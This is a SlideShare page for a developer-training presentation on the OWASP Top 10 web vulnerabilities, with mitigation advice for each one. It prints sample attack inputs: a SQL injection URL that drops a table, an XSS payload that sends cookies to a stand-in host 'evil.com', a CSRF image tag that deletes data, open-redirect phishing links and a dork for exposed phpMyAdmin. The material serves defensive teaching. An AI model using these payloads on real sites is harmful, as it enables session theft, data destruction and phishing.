SlideShare a Scribd company logo
Presentation on Top 10 Vulnerabilities in Web Application
Presented By:
Md Mahfuzur Rahman
 What is OWASP (Open Web Application Security Project)?
◦ http://owasp.org
◦ Worldwide non-profit focused on improving software security
◦ Reaches out to ALL developers: not just security professionals
 Who am I?
◦ Jr. Software Engineer @IECL
◦ Student of Asian University of Bangladesh
◦ Here to share some knowledge
 What will you learn?
◦ The top 10 security mistakes that developers make
◦ How to design software with an assurance of security
1) Injection
2) Broken Authentication and Session Management
3) Cross Site Scripting
4) Insecure Direct Object References
5) Cross Site Request Forgery (CSRF)
6) Security Misconfiguration
7) Insecure Cryptographic Storage
8) Failure to Restrict URL Access
9) Insufficient Transport Layer Protection
10) Unvalidated Redirects and Forwards
 Used when your app sends user-supplied data to
other apps
◦ Database, Operating System, LDAP, Web Services
 Hackers "inject" their code to run instead of yours
◦ To access unauthorized data, or completely take
over remote application
◦ Example: SQL injection attack
$query = "SELECT * FROM products WHERE id = “.$id;
 Code expects a nice parameter in the URL
• http://example.com/products?id=123
• Hacker could instead supply this :
http://example.com/products?id=';+DROP+TABLE+'pr
oducts';
 Ensure that all parameters are validated before
they are used.
 Check verses exactly what input should be
allowed.
 Ideally, only allow the user to select among
"safe" options
◦ no generic text allowed
 HTTP is a "stateless" protocol
◦ Nice and simple: HTTP request, HTTP response
◦ All data must be passed in the request every time
 How do we store state?
◦ Client side with cookies
◦ Server side with sessions
 Most apps place a "sessionId" in cookies, or in the URL
◦ Problem: now stealing sessionIds is just as good as stealing
passwords!
 Multiple ways to determine a session ID
◦ packet sniffing -- especially on an open WiFi access point
◦ HttpReferrer logs, if sessionId is in the URL
 Assume that a user stole a session ID
◦ Determine how bad this would be in your application
 Use SSL everywhere!
◦ Makes it harder for people to “sniff” your session ID
 If you cannot use SSL everywhere, use it for logins
◦ Have a cryptographically strong session ID
 Good sessionIds should be very difficult to re-use
◦ Embed user IP address, user name, timestamp, and a secret
◦ Forces an attacker to spoof IP addresses to take over
◦ Prompt for re-login if IP changes during a session
 Sites must "cleanse" user input before displaying it
 Hackers can create URLs to inject their own HTML onto the page
◦ can be used to do almost any kind of attack!!!
 Example: JSP to draw HTML based on user input
◦ String html = "<input name='item' type='TEXT' value='" +
request.getParameter("item") + "'>";
 Code expects a nice URL:
◦ http://example.com/buy?item=123
 But a hacker could supply this:
◦ http://example.com/buy?item='><script>document.location='htt
p://evil.com/steal/'+document.cookie</script>
 Then, try to trick somebody to go to that URL
◦ Stolen cookies are frequently as good as stole passwords
 Never, ever, ever trust user-submitted content!
◦ URLs, comments threads, web forms
 Properly "escape" any data before displaying it on web pages
◦ JavaScript parameters, URL parameters, STYLE elements
◦ Remove script tags, and possibly anything with a SRC attribute
◦ Use ESAPI to "cleanse" your HTML
 Do not allow state-change from HTTP GET requests
◦ Otherwise, an IMG tag could cause you to lose all your data
 Set the HttpOnly flag in your response headers
◦ Prevents document.cookie from working in JavaScript
 Assume my project id is 123
 I see a link on “My Projects” page that goes here:
◦ http://example.com/projects/123
 If I alter the URL, can I see other people’s projects?
◦ http://example.com/projects/124
 Do you only restrict access in the web form?
 What if I could "guess" the URL? Could I see the page?
◦ Don't trick yourself into thinking complex URLs are any more
secure
◦ Security != Obscurity
 Every resource needs a security level
◦ What roles do you need to access certain items?
◦ Access Control Lists are easy to implement, but don’t always scale
 All access to that resource should go through the same check
◦ What action are you taking, with what resource?
◦ Put it all in one common codebase for simplicity
◦ May need to run check multiple times, for sub-actions and sub-
resources
◦ Unusual behavior? Have additional authentication
questions/layers!
 Front-end restriction is nice for usability, but not security
 Back-end application must double-check access rights
 Most web applications depend on some kind of framework
◦ Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries
◦ JARs and JARs and JARs of fun...
 What if your framework issued a security patch?
◦ Do you have a centralized policy for keeping dependencies up-to-
date?
◦ How long would it take you to discover new code?
◦ How long would it take to recompile/test/redeploy?
 Do you know all security configurations in the framework?
◦ Odds are no... documentation is usually obtuse
◦ “Being helpful is a security hole”
 Have you properly "hardened" your framework?
◦ Delete default users, disable unused services and ports
 Subscribe to newsletters and blog feeds to get patches
◦ Install the patches as quickly as possible
 Do periodic scans to detect misconfiguration / missing patches
 Disable features that are "nice" for developers, but "nasty" for
security
 Use automation to ensure patches are up-to-date
◦ If you can't verify it, it's not secure
◦ Can you prove glass is bulletproof without firing bullets at it?
 Taking over websites shouldn't be this easy:
◦ http://www.google.com/search?q=inurl:SELECT+inurl:FROM+inurl
:WHERE+intitle:phpmyadmin
 Bad guys get credit cards, personal identification,
passwords or health records.
 Your company could be fined or worse.
 Is any of this data stored in clear text long term, including
backups of this data?
 Is any of this data transmitted in clear text, internally or
externally? Internet traffic is especially dangerous.
 Are any old / weak cryptographic algorithms used?
 Are weak crypto keys generated, or is proper key management or
rotation missing?
 Are any browser security directives or headers missing when
sensitive data is provided by / sent to the browser?
 make sure you encrypt all sensitive data at rest and in transit in a
manner that defends against these threats.
 Don’t store sensitive data unnecessarily. Discard it as soon as
possible. Data you don’t have can’t be stolen.
 Ensure strong standard algorithms and strong keys are used, and
proper key management is in place.
 Ensure passwords are stored with an algorithm specifically designed
for password protection, such as bcrypt, PBKDF2, or scrypt.
 Disable autocomplete on forms collecting sensitive data and disable
caching for pages that contain sensitive data.
 Similar to #4: Insecure Direct Object Reference
◦ Need to block specific actions, even if no resource is identified
 Example: my project is 123
 I will see these URLs on my home page:
◦ http://example.com/project/123
◦ http://example.com/user/getProjects/
 I could fish around and try other URLs as well:
◦ http://example.com/manager/getProjects/
◦ http://example.com/admin/getProjects/
 Would your application prevent this?
 Same general issue:
◦ you have front-end security, but not back-end security
 Do authentication checks at least twice
◦ Front end UI, and back end Controller
 Don't draw URLs to the page if the user cannot access them
◦ Bad usability
◦ Hackers might be tempted to fish around for vulnerabilities
 Never assume a URL is allowed
◦ Do back-end checks for access, and state change
 Add even more layers as needed:
◦ Does all security information exist in the URL?
 Can you authenticate right away?
 Might you need to get half way through the request before you
know what rights are needed?
◦ What if the user has access, but their behavior is unusual
 should you prompt for password again, or perhaps for
additional authorization?
 Evil sites can hijack your browser, and run secure request:
1) User logs into secure application behind the firewall
http://example.com/myApp
2) User goes to "evil" website, or loads up "evil" HTML email
3) HTML contains this image:
<img src="http://example.com/myApp/deleteEverything"></img>
 With JavaScript and XSS, evil sites can completely take over your
browser
◦ Can browse around your intranet, log into bank accounts
◦ Anything you are currently logged into
◦ Complete control, as long as you stay on the evil site
 Unfortunate side-effect of Single-Sign-On
 All state change should require a unique token in the request
 But if its in the URL, it's vulnerable!
◦ URLs are frequently logged, and can be "sniffed"
◦ avoid reusable tokens
 General solution:
◦ All state change requires HTTP POST, not a GET
◦ Put one-time token in a hidden field on the web form
◦ After POST, do a GET redirect to a confirmation page
 What kind of token?
◦ Single-request tokens: safest, but a pain
◦ Session-based tokens hashed with session ID and
action
 Require multiple-level authentication
◦ If an action looks fishy, re-prompt user for login
 Some vulnerable components (e.g., framework libraries) can
be identified and exploited with automated tools.
 Attacker identifies a weak component through scanning or
manual analysis.
 He customizes the exploit as needed and executes the attack.
 Identify all components and the versions you are using, including all
dependencies. (e.g. the versions plugin).
 Monitor the security of these components in public databases,
project mailing lists, and security mailing lists, and keep them up to
date.
 Establish security policies governing component use, such as
requiring certain software development practices, passing security
tests, and acceptable licenses.
 Where appropriate, consider adding security wrappers around
components to disable unused functionality and/ or secure weak or
vulnerable aspects of the component.
 Most sites allow redirects to other sites, or pages within the site:
◦ http://example.com/redirect?url=google.com
 But, open redirect pages can be used by "phishers" to create links to
their site:
◦ http://example.com/redirect?url=evil.com
 Link looks like it goes to "example.com", but it goes to "evil.com"
 Or, can trick a site user into harming their own site:
◦ http://example.com/redirect?url=/admin.jsp?deleteEverything=tru
e
 Sometimes called "phishing holes"
 Simply avoid using redirects and forwards.
 If used, don’t involve user parameters in calculating the destination.
This can usually be done.
 If destination parameters can’t be avoided, ensure that the supplied
value is valid, and authorized for the user.
 Restrict redirects to a limited number of "trusted" sites
 Keep a list of all redirect URLs, and pass the ID in the request,
instead of the URL
◦ http://example.com/redirect?urlId=123
 Hash the URL with a secret, and pass the hash in the URL
◦ http://example.com/redirect?url=google.com&hash=a1b2c3
Presentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web Application

More Related Content

PPT
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
PDF
Web Security 101
Michael Peters
 
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
PDF
Web Security - Introduction v.1.3
Oles Seheda
 
PDF
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
PDF
Hacking the Web
Mike Crabb
 
KEY
Introduction to web security @ confess 2012
jakobkorherr
 
PPT
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Brian Huff
 
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
Web Security 101
Michael Peters
 
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
Web Security - Introduction v.1.3
Oles Seheda
 
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
Hacking the Web
Mike Crabb
 
Introduction to web security @ confess 2012
jakobkorherr
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Brian Huff
 

What's hot (20)

PPTX
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Noppadol Songsakaew
 
PDF
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
bhumika2108
 
PPT
Web security presentation
John Staveley
 
PDF
CIS14: Authentication: Who are You? You are What You Eat
CloudIDSummit
 
PPT
Starwest 2008
Caleb Sima
 
PPTX
JSFoo Chennai 2012
Krishna T
 
PPTX
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
Jakub Kałużny
 
PDF
Secrets of Google VRP by: Krzysztof Kotowicz, Google Security Team
OWASP Delhi
 
PDF
OWASPTop 10
InnoTech
 
PDF
Web Security - Introduction
SQALab
 
PPTX
Attacking Web Applications
Sasha Goldshtein
 
PPTX
Html5 security
Krishna T
 
PPTX
Secure web messaging in HTML5
Krishna T
 
PDF
Web Security: A Primer for Developers
Mike North
 
PDF
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
PPTX
Browser Internals-Same Origin Policy
Krishna T
 
PPTX
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
PPTX
Clickjacking DevCon2011
Krishna T
 
PPT
Web security leeds sharp dot netnotts
John Staveley
 
PPTX
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Noppadol Songsakaew
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
bhumika2108
 
Web security presentation
John Staveley
 
CIS14: Authentication: Who are You? You are What You Eat
CloudIDSummit
 
Starwest 2008
Caleb Sima
 
JSFoo Chennai 2012
Krishna T
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
Jakub Kałużny
 
Secrets of Google VRP by: Krzysztof Kotowicz, Google Security Team
OWASP Delhi
 
OWASPTop 10
InnoTech
 
Web Security - Introduction
SQALab
 
Attacking Web Applications
Sasha Goldshtein
 
Html5 security
Krishna T
 
Secure web messaging in HTML5
Krishna T
 
Web Security: A Primer for Developers
Mike North
 
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
Browser Internals-Same Origin Policy
Krishna T
 
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
Clickjacking DevCon2011
Krishna T
 
Web security leeds sharp dot netnotts
John Staveley
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
Ad

Similar to Presentation on Top 10 Vulnerabilities in Web Application (20)

PDF
Web application security (eng)
Anatoliy Okhotnikov
 
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
PDF
A security note for web developers
John Ombagi
 
PPT
Secure code practices
Hina Rawal
 
PDF
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 
PDF
Tuenti: Web Application Security
Tuenti
 
PDF
Tuenti: Web Application Security
Guille -bisho-
 
PDF
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
PDF
OWASP Top 10 List Overview for Web Developers
Benjamin Floyd
 
PDF
Owasp top 10 2013
Edouard de Lansalut
 
PPTX
Secure practices with dot net services.pptx
Knoldus Inc.
 
PDF
Best Practices for Secure Web Application Development by Site Invention.pdf
siteseo
 
PPTX
Web security for app developers
Pablo Gazmuri
 
PDF
CNIT 129S: Securing Web Applications Ch 1-2
Sam Bowne
 
PPTX
CyberSecurityppt. pptx
iamayesha2526
 
PDF
Web Security
KHOANGUYNNGANH
 
PDF
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Sam Bowne
 
PDF
Owasp top 10_openwest_2019
Sean Jackson
 
PDF
Application Security - Your Success Depends on it
WSO2
 
PDF
Best Security Practices for Web Application Development.pdf
Digital Auxilio Technologies
 
Web application security (eng)
Anatoliy Okhotnikov
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
A security note for web developers
John Ombagi
 
Secure code practices
Hina Rawal
 
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 
Tuenti: Web Application Security
Tuenti
 
Tuenti: Web Application Security
Guille -bisho-
 
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
OWASP Top 10 List Overview for Web Developers
Benjamin Floyd
 
Owasp top 10 2013
Edouard de Lansalut
 
Secure practices with dot net services.pptx
Knoldus Inc.
 
Best Practices for Secure Web Application Development by Site Invention.pdf
siteseo
 
Web security for app developers
Pablo Gazmuri
 
CNIT 129S: Securing Web Applications Ch 1-2
Sam Bowne
 
CyberSecurityppt. pptx
iamayesha2526
 
Web Security
KHOANGUYNNGANH
 
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
Sam Bowne
 
Owasp top 10_openwest_2019
Sean Jackson
 
Application Security - Your Success Depends on it
WSO2
 
Best Security Practices for Web Application Development.pdf
Digital Auxilio Technologies
 
Ad

Recently uploaded (20)

PPTX
The-Ethical-Hackers-Imperative-Safeguarding-the-Digital-Frontier.pptx
sujalchauhan1305
 
PDF
Software Development Company | KodekX
KodekX
 
PDF
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
PPTX
Smart Infrastructure and Automation through IoT Sensors
Rejig Digital
 
PPTX
Comunidade Salesforce São Paulo - Desmistificando o Omnistudio (Vlocity)
Francisco Vieira Júnior
 
PDF
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
PDF
How-Cloud-Computing-Impacts-Businesses-in-2025-and-Beyond.pdf
Artjoker Software Development Company
 
PDF
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
PDF
CIFDAQ'S Market Insight: BTC to ETH money in motion
CIFDAQ
 
PDF
GYTPOL If You Give a Hacker a Host
linda296484
 
PDF
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
PDF
This slide provides an overview Technology
mineshkharadi333
 
PDF
The Evolution of KM Roles (Presented at Knowledge Summit Dublin 2025)
Enterprise Knowledge
 
PDF
CIFDAQ's Token Spotlight: SKY - A Forgotten Giant's Comeback?
CIFDAQ
 
PDF
Unlocking the Future- AI Agents Meet Oracle Database 23ai - AIOUG Yatra 2025.pdf
Sandesh Rao
 
PDF
Google’s NotebookLM Unveils Video Overviews
SOFTTECHHUB
 
DOCX
Top AI API Alternatives to OpenAI: A Side-by-Side Breakdown
vilush
 
PDF
Software Development Methodologies in 2025
KodekX
 
PPT
L2 Rules of Netiquette in Empowerment technology
Archibal2
 
PPTX
C Programming Basics concept krnppt.pptx
Karan Prajapat
 
The-Ethical-Hackers-Imperative-Safeguarding-the-Digital-Frontier.pptx
sujalchauhan1305
 
Software Development Company | KodekX
KodekX
 
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
Smart Infrastructure and Automation through IoT Sensors
Rejig Digital
 
Comunidade Salesforce São Paulo - Desmistificando o Omnistudio (Vlocity)
Francisco Vieira Júnior
 
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
How-Cloud-Computing-Impacts-Businesses-in-2025-and-Beyond.pdf
Artjoker Software Development Company
 
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
CIFDAQ'S Market Insight: BTC to ETH money in motion
CIFDAQ
 
GYTPOL If You Give a Hacker a Host
linda296484
 
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
This slide provides an overview Technology
mineshkharadi333
 
The Evolution of KM Roles (Presented at Knowledge Summit Dublin 2025)
Enterprise Knowledge
 
CIFDAQ's Token Spotlight: SKY - A Forgotten Giant's Comeback?
CIFDAQ
 
Unlocking the Future- AI Agents Meet Oracle Database 23ai - AIOUG Yatra 2025.pdf
Sandesh Rao
 
Google’s NotebookLM Unveils Video Overviews
SOFTTECHHUB
 
Top AI API Alternatives to OpenAI: A Side-by-Side Breakdown
vilush
 
Software Development Methodologies in 2025
KodekX
 
L2 Rules of Netiquette in Empowerment technology
Archibal2
 
C Programming Basics concept krnppt.pptx
Karan Prajapat
 

Presentation on Top 10 Vulnerabilities in Web Application

  • 3.  What is OWASP (Open Web Application Security Project)? ◦ http://owasp.org ◦ Worldwide non-profit focused on improving software security ◦ Reaches out to ALL developers: not just security professionals  Who am I? ◦ Jr. Software Engineer @IECL ◦ Student of Asian University of Bangladesh ◦ Here to share some knowledge  What will you learn? ◦ The top 10 security mistakes that developers make ◦ How to design software with an assurance of security
  • 4. 1) Injection 2) Broken Authentication and Session Management 3) Cross Site Scripting 4) Insecure Direct Object References 5) Cross Site Request Forgery (CSRF) 6) Security Misconfiguration 7) Insecure Cryptographic Storage 8) Failure to Restrict URL Access 9) Insufficient Transport Layer Protection 10) Unvalidated Redirects and Forwards
  • 5.  Used when your app sends user-supplied data to other apps ◦ Database, Operating System, LDAP, Web Services  Hackers "inject" their code to run instead of yours ◦ To access unauthorized data, or completely take over remote application ◦ Example: SQL injection attack $query = "SELECT * FROM products WHERE id = “.$id;
  • 6.  Code expects a nice parameter in the URL • http://example.com/products?id=123 • Hacker could instead supply this : http://example.com/products?id=';+DROP+TABLE+'pr oducts';
  • 7.  Ensure that all parameters are validated before they are used.  Check verses exactly what input should be allowed.  Ideally, only allow the user to select among "safe" options ◦ no generic text allowed
  • 8.  HTTP is a "stateless" protocol ◦ Nice and simple: HTTP request, HTTP response ◦ All data must be passed in the request every time  How do we store state? ◦ Client side with cookies ◦ Server side with sessions  Most apps place a "sessionId" in cookies, or in the URL ◦ Problem: now stealing sessionIds is just as good as stealing passwords!  Multiple ways to determine a session ID ◦ packet sniffing -- especially on an open WiFi access point ◦ HttpReferrer logs, if sessionId is in the URL
  • 9.  Assume that a user stole a session ID ◦ Determine how bad this would be in your application  Use SSL everywhere! ◦ Makes it harder for people to “sniff” your session ID  If you cannot use SSL everywhere, use it for logins ◦ Have a cryptographically strong session ID  Good sessionIds should be very difficult to re-use ◦ Embed user IP address, user name, timestamp, and a secret ◦ Forces an attacker to spoof IP addresses to take over ◦ Prompt for re-login if IP changes during a session
  • 10.  Sites must "cleanse" user input before displaying it  Hackers can create URLs to inject their own HTML onto the page ◦ can be used to do almost any kind of attack!!!  Example: JSP to draw HTML based on user input ◦ String html = "<input name='item' type='TEXT' value='" + request.getParameter("item") + "'>";
  • 11.  Code expects a nice URL: ◦ http://example.com/buy?item=123  But a hacker could supply this: ◦ http://example.com/buy?item='><script>document.location='htt p://evil.com/steal/'+document.cookie</script>  Then, try to trick somebody to go to that URL ◦ Stolen cookies are frequently as good as stole passwords
  • 12.  Never, ever, ever trust user-submitted content! ◦ URLs, comments threads, web forms  Properly "escape" any data before displaying it on web pages ◦ JavaScript parameters, URL parameters, STYLE elements ◦ Remove script tags, and possibly anything with a SRC attribute ◦ Use ESAPI to "cleanse" your HTML  Do not allow state-change from HTTP GET requests ◦ Otherwise, an IMG tag could cause you to lose all your data  Set the HttpOnly flag in your response headers ◦ Prevents document.cookie from working in JavaScript
  • 13.  Assume my project id is 123  I see a link on “My Projects” page that goes here: ◦ http://example.com/projects/123  If I alter the URL, can I see other people’s projects? ◦ http://example.com/projects/124  Do you only restrict access in the web form?  What if I could "guess" the URL? Could I see the page? ◦ Don't trick yourself into thinking complex URLs are any more secure ◦ Security != Obscurity
  • 14.  Every resource needs a security level ◦ What roles do you need to access certain items? ◦ Access Control Lists are easy to implement, but don’t always scale  All access to that resource should go through the same check ◦ What action are you taking, with what resource? ◦ Put it all in one common codebase for simplicity ◦ May need to run check multiple times, for sub-actions and sub- resources ◦ Unusual behavior? Have additional authentication questions/layers!  Front-end restriction is nice for usability, but not security  Back-end application must double-check access rights
  • 15.  Most web applications depend on some kind of framework ◦ Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries ◦ JARs and JARs and JARs of fun...  What if your framework issued a security patch? ◦ Do you have a centralized policy for keeping dependencies up-to- date? ◦ How long would it take you to discover new code? ◦ How long would it take to recompile/test/redeploy?
  • 16.  Do you know all security configurations in the framework? ◦ Odds are no... documentation is usually obtuse ◦ “Being helpful is a security hole”  Have you properly "hardened" your framework? ◦ Delete default users, disable unused services and ports
  • 17.  Subscribe to newsletters and blog feeds to get patches ◦ Install the patches as quickly as possible  Do periodic scans to detect misconfiguration / missing patches  Disable features that are "nice" for developers, but "nasty" for security  Use automation to ensure patches are up-to-date ◦ If you can't verify it, it's not secure ◦ Can you prove glass is bulletproof without firing bullets at it?  Taking over websites shouldn't be this easy: ◦ http://www.google.com/search?q=inurl:SELECT+inurl:FROM+inurl :WHERE+intitle:phpmyadmin
  • 18.  Bad guys get credit cards, personal identification, passwords or health records.  Your company could be fined or worse.
  • 19.  Is any of this data stored in clear text long term, including backups of this data?  Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially dangerous.  Are any old / weak cryptographic algorithms used?  Are weak crypto keys generated, or is proper key management or rotation missing?  Are any browser security directives or headers missing when sensitive data is provided by / sent to the browser?
  • 20.  make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats.  Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen.  Ensure strong standard algorithms and strong keys are used, and proper key management is in place.  Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.  Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 21.  Similar to #4: Insecure Direct Object Reference ◦ Need to block specific actions, even if no resource is identified  Example: my project is 123  I will see these URLs on my home page: ◦ http://example.com/project/123 ◦ http://example.com/user/getProjects/
  • 22.  I could fish around and try other URLs as well: ◦ http://example.com/manager/getProjects/ ◦ http://example.com/admin/getProjects/  Would your application prevent this?  Same general issue: ◦ you have front-end security, but not back-end security
  • 23.  Do authentication checks at least twice ◦ Front end UI, and back end Controller  Don't draw URLs to the page if the user cannot access them ◦ Bad usability ◦ Hackers might be tempted to fish around for vulnerabilities  Never assume a URL is allowed ◦ Do back-end checks for access, and state change
  • 24.  Add even more layers as needed: ◦ Does all security information exist in the URL?  Can you authenticate right away?  Might you need to get half way through the request before you know what rights are needed? ◦ What if the user has access, but their behavior is unusual  should you prompt for password again, or perhaps for additional authorization?
  • 25.  Evil sites can hijack your browser, and run secure request: 1) User logs into secure application behind the firewall http://example.com/myApp 2) User goes to "evil" website, or loads up "evil" HTML email 3) HTML contains this image: <img src="http://example.com/myApp/deleteEverything"></img>  With JavaScript and XSS, evil sites can completely take over your browser ◦ Can browse around your intranet, log into bank accounts ◦ Anything you are currently logged into ◦ Complete control, as long as you stay on the evil site  Unfortunate side-effect of Single-Sign-On
  • 26.  All state change should require a unique token in the request  But if its in the URL, it's vulnerable! ◦ URLs are frequently logged, and can be "sniffed" ◦ avoid reusable tokens  General solution: ◦ All state change requires HTTP POST, not a GET ◦ Put one-time token in a hidden field on the web form ◦ After POST, do a GET redirect to a confirmation page
  • 27.  What kind of token? ◦ Single-request tokens: safest, but a pain ◦ Session-based tokens hashed with session ID and action  Require multiple-level authentication ◦ If an action looks fishy, re-prompt user for login
  • 28.  Some vulnerable components (e.g., framework libraries) can be identified and exploited with automated tools.  Attacker identifies a weak component through scanning or manual analysis.  He customizes the exploit as needed and executes the attack.
  • 29.  Identify all components and the versions you are using, including all dependencies. (e.g. the versions plugin).  Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date.  Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.  Where appropriate, consider adding security wrappers around components to disable unused functionality and/ or secure weak or vulnerable aspects of the component.
  • 30.  Most sites allow redirects to other sites, or pages within the site: ◦ http://example.com/redirect?url=google.com  But, open redirect pages can be used by "phishers" to create links to their site: ◦ http://example.com/redirect?url=evil.com  Link looks like it goes to "example.com", but it goes to "evil.com"  Or, can trick a site user into harming their own site: ◦ http://example.com/redirect?url=/admin.jsp?deleteEverything=tru e  Sometimes called "phishing holes"
  • 31.  Simply avoid using redirects and forwards.  If used, don’t involve user parameters in calculating the destination. This can usually be done.  If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.  Restrict redirects to a limited number of "trusted" sites  Keep a list of all redirect URLs, and pass the ID in the request, instead of the URL ◦ http://example.com/redirect?urlId=123  Hash the URL with a secret, and pass the hash in the URL ◦ http://example.com/redirect?url=google.com&hash=a1b2c3